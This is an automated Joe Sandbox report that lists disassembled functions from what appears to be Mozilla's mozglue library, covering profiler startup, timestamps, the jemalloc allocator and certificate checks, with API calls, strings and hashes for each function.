String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction ID: 658b735bf762aebd1eb55ad421c753acc8d8f3b2ac1c6ad5fe1dc3088615d149
Opcode Fuzzy Hash: 26ed5ced44c9aa1577918de3aab6bbf7f2504a1cc1f72e926ebf17c93282d5c4
Instruction Fuzzy Hash: 4BB193B1B09B009BDB08DF38C85561ABBF5FB8A704F55892DF599E3B90D730E9408B91

Function 6C96C930 Relevance: 7.6, APIs: 5, Instructions: 83
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemInfo.KERNEL32(?), ref: 6C96C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C96C969
GetSystemInfo.KERNEL32(?), ref: 6C96C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C96C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C96C9E2

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction ID: 9ee9738c2a8a6c4f9e6c533108214e4a777461f5b42f59fcf86c94ad6a6c57a6
Opcode Fuzzy Hash: 066f3a386cdd80a083f4653106413906abd9f3794fdbb4dcfb1baa6ee936c6b2
Instruction Fuzzy Hash: 9721C832745A146BEB04AA69DC84BAE7279AB46744F60051AF903B7E80DB60E940C7A1

Function 6C953060 Relevance: 4.5, APIs: 3, Instructions: 36
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?Startup@TimeStamp@mozilla@@SAXXZ.MOZGLUE ref: 6C953095

Part of subcall function 6C9535A0: InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DF688,00001000), ref: 6C9535D5
Part of subcall function 6C9535A0: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C9535E0
Part of subcall function 6C9535A0: QueryPerformanceFrequency.KERNEL32(?), ref: 6C9535FD
Part of subcall function 6C9535A0: _strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C95363F
Part of subcall function 6C9535A0: GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C95369F
Part of subcall function 6C9535A0: __aulldiv.LIBCMT ref: 6C9536E4

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C95309F

Part of subcall function 6C975B50: QueryPerformanceCounter.KERNEL32(?,?,?,?,6C9756EE,?,00000001), ref: 6C975B85
Part of subcall function 6C975B50: EnterCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975B90
Part of subcall function 6C975B50: LeaveCriticalSection.KERNEL32(6C9DF688,?,?,?,6C9756EE,?,00000001), ref: 6C975BD8
Part of subcall function 6C975B50: GetTickCount64.KERNEL32 ref: 6C975BE4

?InitializeUptime@mozilla@@YAXXZ.MOZGLUE ref: 6C9530BE

Part of subcall function 6C9530F0: QueryUnbiasedInterruptTime.KERNEL32 ref: 6C953127
Part of subcall function 6C9530F0: __aulldiv.LIBCMT ref: 6C953140

Part of subcall function 6C98AB2A: __onexit.LIBCMT ref: 6C98AB30

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: Time$CriticalQuerySection$InitializePerformanceStamp@mozilla@@__aulldiv$AdjustmentCountCount64CounterEnterFrequencyInterruptLeaveNow@SpinStartup@SystemTickUnbiasedUptime@mozilla@@V12@___onexit_strnicmpgetenv
String ID:
API String ID: 4291168024-0
Opcode ID: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction ID: b3aebd78f234a2a2590a36ff075f2eaf2ac2b283d8202f17e2f694980101aa9a
Opcode Fuzzy Hash: 0088ff590e51e29d5d98fc0f73c348403daa0d9f64a6dcb850a30aa6584e80aa
Instruction Fuzzy Hash: E8F0A962D29F4C96CB10DF7498421E6B374AF7B118FA4571AF84477A61FB20B1D88391

Non-executed Functions

Function 6C965440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C965492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9654A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9654BE
__Init_thread_footer.LIBCMT ref: 6C9654DB

Part of subcall function 6C98AB3F: EnterCriticalSection.KERNEL32(6C9DE370,?,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284), ref: 6C98AB49
Part of subcall function 6C98AB3F: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C953527,6C9DF6CC,?,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98AB7C

Part of subcall function 6C98CBE8: GetCurrentProcess.KERNEL32(?,6C9531A7), ref: 6C98CBF1
Part of subcall function 6C98CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C9531A7), ref: 6C98CBFA

GetCurrentThreadId.KERNEL32 ref: 6C9654F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6C965516
GetCurrentThreadId.KERNEL32 ref: 6C96556A
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965577
moz_xmalloc.MOZGLUE(00000070), ref: 6C965585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6C965590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6C9655E6
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C965606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C965616

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

GetCurrentThreadId.KERNEL32 ref: 6C96563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C965646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6C96567C
free.MOZGLUE(?), ref: 6C9656AE

Part of subcall function 6C975E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C975EDB
Part of subcall function 6C975E90: memset.VCRUNTIME140(6C9B7765,000000E5,55CCCCCC), ref: 6C975F27
Part of subcall function 6C975E90: LeaveCriticalSection.KERNEL32(?), ref: 6C975FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6C9656E8
GetCurrentThreadId.KERNEL32 ref: 6C965707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6C96570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6C965729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6C96574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6C96576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6C965796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6C9657B3
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FILTERS), ref: 6C9657CA

Strings

MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9654A3
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C96584E
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C965717
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9654B9
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C965D01
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C965B38
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C965724
MOZ_PROFILER_STARTUP, xrefs: 6C9655E1
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C965CF9
[I %d/%d] profiler_init, xrefs: 6C96564E
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C965C56
GeckoMain, xrefs: 6C965554, 6C9655D5
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C9656E3
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C9657AE
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C96548D
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C965D2B
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C965AC9
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C965BBE
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C965749
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C965D1C
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C965766
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C9657C5
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C965D24
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C965791
MOZ_BASE_PROFILER_HELP, xrefs: 6C965511

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-1266492768
Opcode ID: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction ID: dbcd13adabc6b76950f29d284a6a10ca0b35203b47f4cfe3f91f28bc11d472e7
Opcode Fuzzy Hash: 63f6ac4032cd796912983aa48e268e6ab745e3834178436f04110156bb8c4789
Instruction Fuzzy Hash: 0D222871908B009FFB009F76C45865A77B5AF9634CF554629E84AA7F82EB30E484CB53

Function 6C99B820 Relevance: 102.6, APIs: 56, Strings: 2, Instructions: 1128
threadtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentThreadId.KERNEL32 ref: 6C99B845
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99B852
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99B884
InitializeConditionVariable.KERNEL32(?), ref: 6C99B8D2
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?), ref: 6C99B9FD
GetCurrentThreadId.KERNEL32 ref: 6C99BA05
AcquireSRWLockExclusive.KERNEL32(6C9DF4B8,?,?,00000000), ref: 6C99BA12
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,00000000), ref: 6C99BA27
ReleaseSRWLockExclusive.KERNEL32(6C9DF4B8), ref: 6C99BA4B
free.MOZGLUE(?), ref: 6C99C9C7
free.MOZGLUE(?), ref: 6C99C9DC

Strings

[I %d/%d] Stack sample too big for profiler storage, needed %u bytes, xrefs: 6C99C878
[I %d/%d] Stack sample too big for local storage, needed %u bytes, xrefs: 6C99C7DA

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentNow@ReleaseStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID: [I %d/%d] Stack sample too big for local storage, needed %u bytes$[I %d/%d] Stack sample too big for profiler storage, needed %u bytes
API String ID: 656605770-2789026554
Opcode ID: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction ID: 33595b7736bef566392ee73db2a2ff1ddd88cb8ff5169e84838847bee9862f62
Opcode Fuzzy Hash: 9d61be44a95b50d3e329c7fedd51e712ba87e9a0fda9c7dc4dcd002f89a0142d
Instruction Fuzzy Hash: 9BA28D71A087808FD725CF28C88079BB7F5BFD9318F144A2DE899A7750DB70E9458B92

Function 6C966C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727
encryptionfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C966CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C966D26

Part of subcall function 6C96CA10: malloc.MOZGLUE(?), ref: 6C96CA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C966D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C966D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C966D73
free.MOZGLUE(00000000), ref: 6C966D80
CertGetNameStringW.CRYPT32 ref: 6C966DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C966DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C966DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C966E10
CryptMsgClose.CRYPT32(00000000), ref: 6C966E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C966E34
CreateFileW.KERNEL32 ref: 6C966EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C966F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C966F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C96709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C967103
free.MOZGLUE(00000000), ref: 6C967153
CloseHandle.KERNEL32(?), ref: 6C967176
__Init_thread_footer.LIBCMT ref: 6C967209
__Init_thread_footer.LIBCMT ref: 6C96723A
__Init_thread_footer.LIBCMT ref: 6C96726B
__Init_thread_footer.LIBCMT ref: 6C96729C
__Init_thread_footer.LIBCMT ref: 6C9672DC
__Init_thread_footer.LIBCMT ref: 6C96730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C9673C2
VerSetConditionMask.NTDLL ref: 6C9673F3
VerSetConditionMask.NTDLL ref: 6C9673FF
VerSetConditionMask.NTDLL ref: 6C967406
VerSetConditionMask.NTDLL ref: 6C96740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C96741A
moz_xmalloc.MOZGLUE(?), ref: 6C96755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C967568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C967585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C967598
free.MOZGLUE(00000000), ref: 6C9675AC

Part of subcall function 6C98AB89: EnterCriticalSection.KERNEL32(6C9DE370,?,?,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284), ref: 6C98AB94
Part of subcall function 6C98AB89: LeaveCriticalSection.KERNEL32(6C9DE370,?,6C9534DE,6C9DF6CC,?,?,?,?,?,?,?,6C953284,?,?,6C9756F6), ref: 6C98ABD1

Strings

(, xrefs: 6C96768A
wintrust.dll, xrefs: 6C9672CD
SHA256, xrefs: 6C966EC0
CryptCATAdminReleaseCatalogContext, xrefs: 6C9672C8

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction ID: 1af148cfaa595b17f45e2f4d97572ae5f9a3a2cedea4a4921c9536d7c3c72a20
Opcode Fuzzy Hash: 31be3325527c41bba886fa78816f1523284b1e0da2efbb39b157bee8857cada6
Instruction Fuzzy Hash: CB52D3B1A046149BFB21DF25CC85BAA77BCEF55708F104199E909A7A80DB70EBC4CF91

Function 6C986FF0 Relevance: 89.1, APIs: 39, Strings: 10, Instructions: 3347COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987019
LeaveCriticalSection.KERNEL32(6C9DE7DC), ref: 6C987061
EnterCriticalSection.KERNEL32(?), ref: 6C9871A4
LeaveCriticalSection.KERNEL32(?), ref: 6C98721D
memcpy.VCRUNTIME140(?,?,?), ref: 6C98723E
EnterCriticalSection.KERNEL32(?), ref: 6C98726C
memset.VCRUNTIME140(?,000000E5,000000FF), ref: 6C9872B2
LeaveCriticalSection.KERNEL32(?), ref: 6C98733F
EnterCriticalSection.KERNEL32(0000000C), ref: 6C9873E8
LeaveCriticalSection.KERNEL32(?), ref: 6C98961C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C989622
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C989642
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C98964F
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896CE
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C9896DB
AcquireSRWLockExclusive.KERNEL32(6C9DE804), ref: 6C989747
GetSystemInfo.KERNEL32(?), ref: 6C989792
__Init_thread_footer.LIBCMT ref: 6C9897A5
GetEnvironmentVariableA.KERNEL32(MALLOC_OPTIONS,6C9DE810,00000040), ref: 6C9897CF
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7B8,00001388), ref: 6C989838
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE744,00001388), ref: 6C98984E
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE784,00001388), ref: 6C989874
InitializeCriticalSectionAndSpinCount.KERNEL32(6C9DE7DC,00001388), ref: 6C989895

Strings

MALLOC_OPTIONS, xrefs: 6C9897CA
Compile-time page size does not divide the runtime one., xrefs: 6C989B38
MOZ_CRASH(), xrefs: 6C989B42
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C989993
: (malloc) Unsupported character in malloc options: ', xrefs: 6C989BF4
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9899BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9899D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9899A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C989933, 6C989A33, 6C989A4E
<jemalloc>, xrefs: 6C989B33, 6C989BE3

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$CountEnterInitializeK@1@LeaveMaybe@_RandomSpinUint64@mozilla@@$AcquireEnvironmentExclusiveInfoInit_thread_footerLockSystemVariable_errnomemcpymemset
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4047164644-4173974723
Opcode ID: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction ID: 4cfab2d6bf7420a4ecdf927842537904bdaab14e5361d5b89ce12db4493a5c79
Opcode Fuzzy Hash: a507a74d4e20be4dad0cf0eb55c21720bf68a6f1198f689754bf576464d3bb77
Instruction Fuzzy Hash: A253B171A067018FD704CF28C580715FBE5BF85728F2ACAADE8699B791D371E841CB91

Function 6C990DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C990F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C990F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C990FB7
EnterCriticalSection.KERNEL32(?), ref: 6C990FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C991031
LeaveCriticalSection.KERNEL32(?), ref: 6C9910D0
EnterCriticalSection.KERNEL32(?), ref: 6C99117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C991C39
EnterCriticalSection.KERNEL32(6C9DE744), ref: 6C993391
LeaveCriticalSection.KERNEL32(6C9DE744), ref: 6C9933CD
LeaveCriticalSection.KERNEL32(?), ref: 6C993431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C993437

Strings

MALLOC_OPTIONS, xrefs: 6C9935FE
Compile-time page size does not divide the runtime one., xrefs: 6C993946
MOZ_CRASH(), xrefs: 6C993950
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C993793
: (malloc) Unsupported character in malloc options: ', xrefs: 6C993A02
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C9937BD
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C9937D2
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C9937A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C993559, 6C99382D, 6C993848
<jemalloc>, xrefs: 6C993941, 6C9939F1

Memory Dump Source

Source File: 00000001.00000002.2781618305.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000001.00000002.2781550873.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781761168.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781842077.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000001.00000002.2781907799.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
Instruction ID: 88323adfe735787603888024a929bbd32d38c400ccc241e9f8c4747c956297d6
Opcode Fuzzy Hash: 7060e871f413c17f28846be2f9c2d54a9550233c13b660a913c89a1aadb6ba3c
